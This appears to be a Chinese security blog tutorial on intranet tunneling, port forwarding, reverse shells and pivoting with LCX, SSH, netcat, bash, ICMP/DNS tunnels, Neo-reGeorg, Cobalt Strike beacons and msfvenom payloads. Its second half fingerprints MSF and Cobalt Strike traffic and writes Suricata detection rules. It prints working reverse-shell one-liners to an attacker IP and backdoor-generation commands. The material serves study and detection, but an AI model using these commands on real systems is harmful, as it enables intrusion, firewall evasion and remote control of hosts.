关于隧道的分类大体可以从两个方面进行分类
如果是从流量层分类
1、应用层隧道(DNS HTTP SSH)
2、传输层隧道(TCP隧道 UDP隧道)
3、网络层隧道(ICMP隧道 IPv6隧道)
如果从作用上来分类
1、反弹SHELL(nc python bash)
2、端口转发(LCX SSH iptables telnet)
3、端口映射(LCX NPS FRP)
3、正向代理 (EW NSP FRP)
4、反向代理 (EW NSP FRP)
端口转发和端口映射
端口转发,有时被称为做隧道,是安全壳( SSH)为网络安全通信使用的一种方法简单来说,端口转发就是将
一个端口收到的流量转发到另一个端口。
端口映射是 NAT的一种,功能是把在公网的地址转成私有地址。简单来说,端口映射就是将一个端口映射
到另一个端口供其他人使用
Http代理和Socks代理(隧道)
Http代理用的是Http协议,工作在应用层,主要是用来代理浏览器访问网页。
Socks代理用的是Socks协议,工作在会话层,主要用来传递数据包。socks代理又分为Socks4和
Sock5,Socks4只支持TCP,而Socks5支持TCP和UDP。
端口转发:
Lcx -listen <监听slave请求的端口><等待连接的端口>
Lcx -slave <攻击机IP><监听端口><目标IP><目标端口>
端口映射:
Lcx -tran<等待连接的端口><目标IP><日标端口>
由于配置了防火墙只允许web访问,这个时候攻击者想访问3389端口,远程连接是不可以的,就需要使
用LCX进行端口转发
Web服务器开启了80端口,3389端口不允许出网,可以将web服务器的3389端口转发到允许出网的53
端口,这个时候攻击者在本地监听53端口并且转发到1111端口,这个时候攻击者连接自己的1111端
口,等于访问web服务器的3389端口(也可以搭公网的vps服务器)
注意:这里的攻击机和靶机都是在内网中,只不过靶机3389端口不出网,攻击机(跳板机)53端口出网
1、在攻击机器上运行以下命令,监听本地53端口并且转发到本地1111端口
lcx -listen 53 1111
2、在web靶机上运行以下命令, 将本地的3389端口转发到192.168.3.27的 53端口
lcx.exe -slave 192.168.3.27 53 127.0.0.1 3389
3、在攻击机器上运行远程桌面,地址为127.0.0.1:1111
SSH通过网络远程访问主机提供保护,可以对客户端和服务端之间的数据传输进行压缩和加密,有身份
验证、SCP、SFTP、和端口转发的功能
ssh -CfNg -L 本地端口:主机B_IP:主机B_端口 跳板主机A_IP
例如: ssh -CfNg -L 3333:192.168.52.135:3389 192.168.41.136,然后输入151的密码即可
访问跳板机器的3333端口就可以访问内网机器的3389端口
B可以访问A
B可以访问C
A访问不了B
ssh -CfNg -R 攻击者端口:目标主机IP:目标主机端口 -fN 攻击者_IP
在攻击的机器上访问端口就可以了(这里只能本地访问)
Netcat简称NC,是一个简单、可靠的网络工具,被誉为网络界的瑞士军刀。通NC可以进行端口扫描、
反弹Shell、端口监听和文件传输等操作,常用参数如下:
靶机上运行
nc -lvvp 1111 -e C:\Windows\System32\cmd.exe windows机器
nc -lvvp 1111 -e /bin/bash linux机器
在攻击机上运行
nc 192.168.3.29 1111
拿到正向的shell
攻击者机器 192.168.3.27不能直接访问靶机,但是靶机 192.168.3.29可以访问攻击者的机器,
这个时候使用反向shell
在攻击者机器运行:nc -lvvp 1111 监听1111端口
在靶机上运行 (反弹到公网)
nc -e C:\Windows\System32\cmd.exe 192.168.3.27 1111 windos机器
nc -e /bin/bash 192.168.3.27 1111 linux机器
PowerCat是一个powershell写的tcp/ip瑞士军刀,看一看成ncat的powershell的实现,然后里面也
加入了众多好用的功能,如文件上传,smb协议支持,中继模式,生成payload,端口扫描等等。
PowerCat命令
-l监听连接
-c连接到侦听器
-p要连接或监听的端口
-e执行
-ep执行Powershell
-r中继。格式:“-r tcp:10.1.1.1:443”
-u通过UDP传输数据
-dns通过dns传输数据
-dnsft DNS故障阈值
-t超时选项。默认值:60
-I输入:文件路径(字符串),字节数组或字符串
-o控制台输出类型:“主机”,“字节”或“字符串”
-of输出文件路径
-d连接后断开连接
-rep中继器。断开连接后重新启动
-g生成有效载荷
-ge生成编码的有效载荷
-h打印帮助消息
Bash介绍
Shell也称为终端或壳,是人与内核之间的翻译官,而Bash则是Linux中默认使用的Shell
Bash 反弹Shell的命令如下:
bash -i >&/dev/tcp/攻击机_IP/攻击机端口 0>&1
bash -i >&/dev/tcp/攻击机_IP/攻击机端口 0>&2
bash -i >&/dev/udp/攻击机_IP/攻击机端口 0>&1
bash -i >&/dev/udp/攻击机_IP/攻击机端口 0>&2
"bash-i"是指打开一个交互式的Shell。
"&"符号用于区分文件和文件描述符,">&"符号后面跟文件时,表示将标准输出和标准错误输出重
定向至文件,">&"符号后面跟数字时表示后面的数字是文件描述符,不加"&"符号则会把后面的数
字当成文件。数字"0","1","2"是LinuxShell下的文件描述符, “0”是指标准输入重定向, “1”是
指标准输出重定向, “2”是指错误输出重定向。
"/dev"目录下"tcp"和"udp"是Linux中的特殊设备,可用于建立Socket连接,读写这俩文件就相当
于是在Socket连接中传输数据。">&/dev/tcp/攻击机_ip/攻击机端口"则表示将标准输出和标准错误
输出重定向到"/dev/tcp/攻击机ip/攻击机端口"文件中,也就是重定向到了攻击机,这时目标机的命
令执行结果可以从攻击机看到。"0>&1"或"0>&2"又将标准输入重定向到了标准输出,而标准输出
重定向到了攻击机,因此标准输入也就重定向到了攻击机,从而可以通过攻击机输入命令,并且可以
看到命令执行结果输出
攻击机器使用nc执行监听命令
nc -lvvp 9999 监听 TCP
nc -lup 9999 监听UDP
实验靶机执行连接命令
bash -i >&/dev/tcp/192.168.3.27/9999 0>&1
执行python脚本
内网资产扫描这种场景一般是进行内网渗透才需要的代理技术,如果你不打内网一般是不需要这种技术的,内网代理技术一般也是采用http或者socks代理
针对以上的情况我们需要如何对内网进行扫描呢?
1、直接使用web服务进行扫描(这种方式请看内网渗透)
2、做代理让web服务成为代理机器
针对于内网的机器要考虑是用代理隧道还是使用端口转发
使用代理一般是用http代理或者socks代理代理后的拓扑如下
windows工具
如果是windows是proxyifile工具
linux工具
linux工具下一般使用命令行工具
ew工具
FRP(服务端搭在公网攻击者机器)
NPS使用
ICMP介绍
ICMPInternet控制报文协议。它是TCP/IP协议簇的一个子协议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用
主要概念有:
1.确认ip数据包是否成功到达目的地
2.通知源主机发送ip数据包丢失的原因
3.ICMP是基于IP协议工作的
4.ICMP只能作用于IPV4,IPV6下,
ICMP 报文的种类有两种,即 ICMP 差错报告报文和 ICMP 询问报文
ICMP隧道原理由于ICMP报文自身可以携带数据,而且ICMP报文是由系统内核处理的,不占用任何端口,因此具有很高的隐蔽性。把数据隐藏在ICMP数据包包头的data字段中,建立隐蔽通道。实现绕过防火墙和入侵检测系统的阻拦。
1.ICMP隐蔽传输是无连接的,传输不是很稳定,而且隐蔽通道的带宽很低
2.利用隧道传输时,需要接触更低层次的协议,这就需要高级用户权限
反弹shell进行连接
ICMP可以用作反弹shell,也可以用作隧道,这里我们使用工具:pingtunnel
域名系统(Domain Name System,缩写:DNS)是互联网的一项服务。它作为将域名和IP地址相互映
射的一个分布式数据库,能够使人更方便地访问互联网。DNS使用TCP和UDP端口53。
请求数据包
返回数据包
一般DNS隧道中通信的内容隐藏在请求区域和回答区域中,可能在不同的type类型中隐藏的地方不同
DNS隧道流量分析
我们搭建一个简单的DNS的隧道用于反弹shell
通过分析发现DNS请求类型是TXT,为某个主机名或域名设置的说明。并且域名的有所变化,通过观看
应该是16进制加密的,分期其中一段为(C:\Users\Ad.ministrator>.pc.test)
一般不出网的情况分为几种,第一种就是通过漏洞获得目标机器权限,然后发现此机器不出网,不出网其实意味着对方靶机在内网无法访问你,无法将流量带出来,其实这种情况绕过的方式也有挺多的,我们今天就只从代理隧道的层面来讲讲怎么去搭建,其实这时候往往就需要通过一个正向代理的方式去进行一个隧道搭建。
不出网意味着对方不能来访问你,那么像之前提到的反向代理隧道类似的就不能用,但是反过来我们就可以去连接对方,也就是常说的正向代理隧道,例如ssh隧道或者Neo-reGeorg等正向代理工具的使用。
这里推荐Neo-reGeorg,
https://github.com/L-codes/Neo-reGeorg
这个工具其实就是我们用neoreg.py生成一个webshell上传到对方靶机上,这时我们Neo-reGeorg客户端去连接webshell他就会在本地自动的开启一个隧道
python3 neoreg.py generate -k password(密码自定义)
python3 neoreg.py -k password -u
第二种上线不出网情况是指存在一台中转机器,这台机器出网,这种是最常见的情况。经常是拿下一台边缘机器,其有多块网卡,内网机器都不出网。这种情况下拿这个边缘机器做中转,就可以上线。
A区域的机器已经被控制并且上线到CS,现在要将B区域的机器进行上线,有如下的形式
介绍:SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons连接后,子Beacon从父Beacon获取到任务并发送。因为连接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效。
通信网络拓扑如下:
实验步骤如下:
1、首先控制A区域的边界主机,使用CS
2、创建SMB监听器
3、创建SMB类型的木马
4、通过内网渗透技术(横向移动或者域内攻击)上传木马到B区域的机器
5、运行木马之后进行连接
用link 命令链接它或者unlink 命令断开它
TCP Beacon和SMB Beacon类似只不过TCP Beacon不是使用SMB与父Beacon进行通信而是使用TCP socket进行通信,cs4.0之后,这个技术就不适合做第一个木马使用,因为他的流量都是明文的,容易被发现但是这个技术,很适合在内网穿透的时候去使用,在内网穿透的时候一般只能使用tcp beacon去生成木马。
实验步骤如下
1、首先控制A区域的边界主机,使用CS
2、创建TCP监听器
3、创建TCP类型的木马
4、上传木马之后进行连接
这里使用connect进行连接
CS的监听器支持HTTP代理的配置,在配置监听器的时候可以添加HTTP代理,从而实现内网上线
网络的拓扑图如下:
1、首先控制A区域的机器然后使用搭建HTTP隧道,HTTP隧道搭建可以使用webshell工具或者其他的工具,我们一般会借助哥斯拉或者冰蝎等webshell工具会自带该功能
2、这里我们使用第三方的工具Goproxy工具可以简单的开启http隧道,支持各种形式(这个工具很牛逼啥都支持)
下载地址:https://github.com/snail007/goproxy
3、配置代理,因为我们是在本地进行测试,他是正向连接的代理,不能用 VPS,我们采用本地的CS
4、因为是双网卡,还需要做一个端口转发
netsh interface portproxy add v4tov4 listenaddress=192.168.111.136 listenport=8899 connectaddress=192.168.41.218 connectport=8081
5、运行后就可以上线啦
CS中自带一个中转上线的操作,就是使用端口转发的技术和socket通信
1、点击这个按钮然后填写相关的内容,一般都是不变的
2、生成木马然后正常在机器上运行就可以了
上述讲到后渗透时隧道搭建的情况下所用到的一些流量以及流量特征,想到之前做过相关工具cs,msf流量的一些特征指纹,就想着一起发出来和大家一起学习一下
一、流量分析-MSF-模式模块(shell/meterpreter)-源码特征**
1.1生成shell模式的后门
msfvenom -p windows/x64/shell/reverse_tcp lhost=xx lport=6666 -f exe -o 6666.exe
设置msf的相关监听
use exploit/multi/handler
set payload windows/x64/shell/reverse_tcp
set lhost 0.0.0.0
set lport 6666
Run
Show options 查看当前需要配置的选项
1.2 Wirshark抓取当前网卡的数据包,然后执行木马程序,msf监听处可以看到靶机上线信息并且直接返回shell
输入ver、ipconfig、whoami等信息查询靶机信息
1.3 在wirshark筛选靶机与攻击机之间的TCP数据包,并且追踪TCP的数据流,发现shell模式下的远程命令都是明文的,那就可以通过规则之间识别敏感命令就可以识别出攻击包
1.4 生成meterpreter模式的后门
msfvenom -p windows/meterpreter/reverse_tcp lhost=xx lport=6667 -f exe -o 6667.exe
设置msf的相关监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 6667
run
1.5 Wirshark抓取当前网卡的数据包,然后执行木马程序6667,输入getuid、ls、dir、pwd等命令
1.6 在wirshark筛选靶机与攻击机之间的TCP数据包,并且追踪TCP的数据流,发现TCP类型的数据内容跟上一步shell类型的明文不一样。
1.7 再生成一个同类型名为6677的后门,进行数据抓包,对比6667和6677两个后门的数据包之间有什么共同特征,排除相同模块的内容是否有随机性,有随机性的内容不能认定是特征。
使用exit命令从上个会话退出来,更改一下配置
1.8 随后生成对应的后门文件
msfvenom -p windows/meterpreter/reverse_tcp lhost=xx lport=6667 -f exe -o 6677.exe
1.9 取出后门,先开启抓包,再执行后门完成靶机上线,上线后执行getuid、ls等指令
1.10 查看6677后门的抓包情况,再打开事先保存的6667后门的抓包情况做对比
1.11 上面生成的同为32位的后门,接下来生成64位的后门进行对比
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=xx lport=6688 -f exe -o 6688.exe
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 6688
run
1.12 上线后执行getuid、ls、pwd等命令
查看6688后门的抓包情况
观察发现还是具有很明显的差异。
1.13 小结:
第一种MSF控制上线后门变动:(特征)
变动模式-shell meterpreter
变动位数-x64 x32
变动协议-tcp http https
变动连接-正向 反向(bind reverse)
要做到全局全面的流量监控反制 必须要把每个的特征都找出来
二、流量分析-MSF-HTTP/S-基础特征
2.1 接下来测试变动协议http类型的(shell模式中没有http类型,只有meterpreter中有)
msfvenom -p windows/meterpreter/reverse_http lhost=xx lport=6668 -f exe -o 6668.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 0.0.0.0
set lport 6668
run
2.2 上线后执行getuid、ls、pwd等命令
查看6668后门的抓包情况,发现数据包中多了http协议的数据内容
2.3 生成同类的http类型的后门,观察是否有变化
msfvenom -p windows/meterpreter/reverse_http lhost=xx lport=6668 -f exe -o 6670.exe
use exploit/multi/handler
set lport 6670
run
上线后执行getuid、ls、pwd等命令
查看6670后门的抓包情况,对比6668的数据包
2.4复制粘贴出来观察不同点和相同点
发现GET请求包里User-Agent里的内容是一样的,还发现回应包的所有内容完全一模一样
特征:固定的数据包请求和返回模板(格式一致)
2.5 尝试https类型的后门
msfvenom -p windows/meterpreter/reverse_http lhost=xx lport=7777 -f exe -o 7777.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set lhost 0.0.0.0
set lport 7777
run
2.6 开启抓包,运行木马上线后,执行getuid等命令,查看抓包情况,寻找Client Hello和Server Hello的数据包,把他们数据内容中的JA3值取出来
第一行是所有的Client Hello的JA3值(Client Hello的包很多,但值只有这两种)
第二行是所有的Server Hello的JA3值(Server Hello的包很多,但值只有这两种)
2.7 为了确保准确性,再生成一个同类型的https的端口不同的后门,然后抓包对比,此处过程省略
三、反制规则-MSF-Suricata-编写&检测
接下来以http/https的特征为例,进行msf流量的IDS(入侵检测)规则编写和流量监控。
3.1 之前在做http类型的后门时分析过数据包的特征发现,只要是http后门的流量都会带有User-Agent:Mozilla/5.0这个字段
于是我们判定这是它的一个弱特征,写入到入侵检测的规则中(弱特征意味着在除了http后门流量中会出现这个内容之外,别的http流量也可能有这个内容。强特征是只有当前主体有,而其他主体没有的内容)
3.2 输入命令:suricata-c /etc/suricata/suricata.yaml -s /etc/suricata/rules/msf.rules -i eth0
开始监听eth0口的流量
双击木马上线后,输入一下命令如getuid、ls等,查看日志:cat /var/iog/suricata/fast.log
3.3 之前在做https类型的后门时分析过数据包的特征发现,Client Hello和Server Hello的数据包中的JA3值只会出现4个值
跟其他的https类型的流量相比,发现只有https类型的后门JA3值是这四个。于是我们判定这是它的一个强特征,写入到入侵检测的规则中
3.4 输入命令:suricata-c /etc/suricata/suricata.yaml -s /etc/suricata/rules/msf.rules -i eth0
开始监听eth0口的流量
双击木马上线后,输入一下命令如getuid、ls等,查看日志:cat /var/iog/suricata/fast.log
一、流量分析-CS-HTTP/S协议-源码特征
1.1 Kali的网络模式为桥接模式下,查看ip地址。
1.2 切换到CS所在的路径下运行CS的服务端
1.3 在kali上运行CS文件,设置服务器IP,密码。
1.4 在Window上运行cobaltstrike.exe文件
1.5 连接成功
1.6 监听器里可以设置很多连接类型
1.7 设置http和https这两种类型的监听器
1.8 生成64位的木马
1.9 在kali上开启wireshark抓包
1.10 运行1.exe木马,可以看到被控主机上线
1.11 生成32位的木马
1.12 开启抓包的同时运行木马,木马上线后输入getuid,查看抓包情况
1.13 CS特征之一-----checksum8(92L 93L)
源码示例:
public class Main {
public static long checksum8(String text) {
if(text.length()<4) {
return 0L;
}
text = text.replace("/", "");
long sum=0L;
for(int x = 0; x < text.length(); x++) {
sum += text.charAt(x);
}
return sum % 256L;
}
public static void main(String[] args) throws Exception {
System.out.println(checksum8("Yle2"));
}
}
其中dEpC跟之前64位木马的PHKz都属于CS心跳包的请求路径,将上述源码复制粘贴到以下网址中运行观察结果:
https://www.jyshare.com/compile/10/
因此判断流量中,HTTP协议请求url路径通过checksum8解密算法结果等于92或93符合CS源码的特征。
二、流量分析-CS-HTTP/S协议-基础特征
1.1指令特征
把第一次抓包的结果跟第二次抓包的结果进行逐一比对,可以得出一下相同点:
发现在回传数据的一个POST类型的数据包,在两次抓包过程中都有出现。此时可以尝试再创建几个同类型木马进一步观察此特征是不是100%会出现。经过测试可以得出这是CS木马的一个强特征。
1.2 CS心跳包解密
https://blog.didierstevens.com/didier-stevens-suite/
Python 1768.py xxxx.vir
在kali的抓包工具上导出心跳包
选择导出类型为http类型的,把CS的心跳包导出
打开解密脚本的文件夹,并且在文件目录输入cmd打开命令行
小结CS的流量特征:
1.3 https类型后门的强特征
生成https的两个或两个以上的后门,以此来形成对照,分析数据包特征
生成后,在kali上开启抓包,分别执行两个后门。因为是https类型的,数据被加密,只能看到clienthello和serverhello的JA3值,正好比对一下
分析后出现这四种结果
c hello
652358a663590cfc624787f06b82d9ae
4d93395b1c1b9ad28122fb4d09f28c5e
s hello
15af977ce25de452b96affa2addb1036
2253c82f03b621c5144709b393fde2c9
三、反制规则-CS-Suricata规则-编写&检测
输入命令suricata -c /etc/suricata/suricata.yaml -s /etc/suricata/rules/cobaltstrike.rules -i eth0
查看日志:cat /var/log/suricata/fast.log
2 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!